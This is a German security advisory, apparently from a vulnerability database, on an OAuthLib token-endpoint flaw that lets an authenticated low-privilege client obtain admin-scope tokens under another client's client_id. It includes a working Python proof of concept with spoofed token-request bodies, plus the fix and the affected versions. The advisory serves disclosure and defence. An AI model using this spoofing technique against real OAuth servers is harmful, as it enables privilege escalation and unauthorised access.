OAuthLib: Token-Grants können nach Authentifizierung eines anderen Clients eine vom Angreifer übergebene client_id zur Autorisierung nutzen
Zusammenfassung
Die Token-Grant-Handler von OAuthlib können einen Client authentifizieren, während der Grant-Typ und die angeforderten Scopes unter Verwendung einer anderen, vom Angreifer übermittelten client_id aus dem Request-Body autorisiert werden.
In betroffenen Token-Grant-Abläufen setzt authenticate_client(request) request.client auf das authentifizierte Client-Objekt, OAuthlib verlangt jedoch nicht, dass request.client_id mit request.client.client_id übereinstimmt. Falls der Request-Body bereits client_id=... enthält, behält OAuthlib diesen Wert bei und übergibt ihn an validate_grant_type() und validate_scopes().
Infolgedessen kann sich ein authentifizierter Confidential Client mit niedrigen Rechten unter seiner eigenen Identität authentifizieren, im Token-Request-Body die client_id eines anderen Clients übermitteln und bewirken, dass die Validierung von Grant und Scopes unter der Identität dieses anderen Clients ausgeführt wird.
Betroffene Schnittstelle
Die betroffene öffentliche Oberfläche ist die OAuth2-Token-Endpunktverarbeitung für:
client_credentialspassword/ Resource Owner Password Credentials
Das Problem betrifft OAuthlib-Provider-Bereitstellungen, bei denen:
- der Angreifer über Zugangsdaten für einen gültigen Confidential Client mit niedrigeren Rechten verfügt;
- ein anderer Client umfangreichere Grants oder Scopes besitzt;
- der Anwendungs-Validator das von OAuthlib in
validate_grant_type()odervalidate_scopes()übergebene Argumentclient_idverwendet, wie es dieRequestValidator-API vorsieht.
Bereitstellungen, deren Validatoren das Argument client_id ignorieren und ausschließlich anhand von request.client autorisieren, sind möglicherweise nicht betroffen.
Details
Request parst Query- und Body-Parameter in Request-Attribute, einschließlich client_id:
Der Vertrag von RequestValidator.authenticate_client() erfordert, dass der Integrator den Client authentifiziert und request.client setzt:
Für den client_credentials-Grant authentifiziert OAuthlib den Client, überprüft, ob request.client eine client_id besitzt, und führt dann die Grant- und Scope-Validierung durch, bevor request.client_id anhand von request.client.client_id normalisiert wird:
Die problematische Reihenfolge ist:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Da OAuthlib request.client_id nur ausfüllt, wenn es fehlt, bleibt ein vom Angreifer im Body übergebener Wert wie client_id=high selbst dann erhalten, wenn request.client.client_id == "low".
Der gemeinsame Grant-Helper autorisiert anschließend mittels request.client_id, während das authentifizierte Client-Objekt separat übergeben wird:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
Dieselbe Identitätstrennung existiert im Ablauf "Resource Owner Password Credentials". Nach der Client-Authentifizierung und Benutzerüberprüfung validiert OAuthlib den Grant und die Scopes, bevor ein fehlendes request.client_id anhand von request.client.client_id ersetzt wird:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
Dies führt zu einem inkonsistenten Identitätsstatus:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib ruft daraufhin die Autorisierungs-Hooks der Anwendung mit beiden Werten auf, verwendet jedoch das vom Angreifer kontrollierte request.client_id als primäres client_id-Argument.
Auswirkungen
Ein authentifizierter Confidential Client mit geringeren Rechten kann Token erhalten, die unter den Grant- und Scope-Richtlinien eines anderen Clients autorisiert wurden, sofern der Validator der Anwendung der RequestValidator-API folgt und anhand des client_id-Arguments autorisiert.
Konkrete Auswirkungen können sein:
- Ausstellung von Zugriffstoken mit Scopes, die dem authentifizierten Client nicht zugewiesen sind;
- Nutzung eines Grant-Typs durch einen Client mit niedrigen Rechten, der für einen höher berechtigten Client reserviert ist;
- Speicherung von Token unter einer gefälschten
client_id, während das authentifizierte Client-Objekt abweicht.
Es handelt sich um eine Umgehung der Token-Autorisierung, nicht um einen unauthentifizierten Angriff. Der Angreifer benötigt gültige Zugangsdaten für einen Client.
PoC
Erstellen Sie die folgenden Dateien in einem leeren Verzeichnis.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Ausführen:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Erwartetes Ergebnis:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
Die Erfolgsbedingung ist, dass beide Token-Antworten erfolgreich generiert werden, während der gespeicherte Token-Status Folgendes zeigt:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
Dies belegt, dass der authentifizierte Client low ist, während die Grant- und Scope-Autorisierung die vom Angreifer übergebene client_id=high verwendet hat.
Empfohlene Behebung
Nach erfolgreicher Client-Authentifizierung sollte OAuthlib eine Token-Anforderung ablehnen, wenn eine explizite client_id in der Anforderung vorhanden ist und nicht mit request.client.client_id übereinstimmt.
Für Abläufe mit authentifizierten Confidential Clients ist eine sicherere Invariante:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
Dies sollte geschehen, bevor validate_grant_type() und validate_scopes() aufgerufen werden.
Melder:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
Was zu tun ist
Aktualisieren Sie OAuthLib auf Version 4.0.0 oder höher. Bei benutzerdefinierten Implementierungen sollte sichergestellt werden, dass Token-Anfragen abgelehnt werden, wenn eine explizit übergebene Client-ID nicht mit der ID des authentifizierten Clients übereinstimmt, bevor Validierungs-Hooks ausgeführt werden.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | oauthlib | < 4.0.0 | 4.0.0 |
Verweise
- https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c
- https://nvd.nist.gov/vuln/detail/CVE-2026-118669
- https://github.com/oauthlib/oauthlib/pull/920
- https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d
- https://github.com/oauthlib/oauthlib
- https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N- Schwäche (CWE)
CWE-863- Plattform
- Python (PyPI)
- Paket
oauthlib- Veröffentlicht
- 30.10.2026
- Aktualisiert
- 09.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0
Schwachstellenhistorie: oauthlib
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 5
- Erste → letzte
- 09.2022 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
- Mittel 3
Veröffentlichungen pro Jahr
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 4
-
OAuthLib: Token-Grants können nach Authentifizierung eines anderen Clients eine vom Angreifer übergebene client_id zur Autorisierung nutzen dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.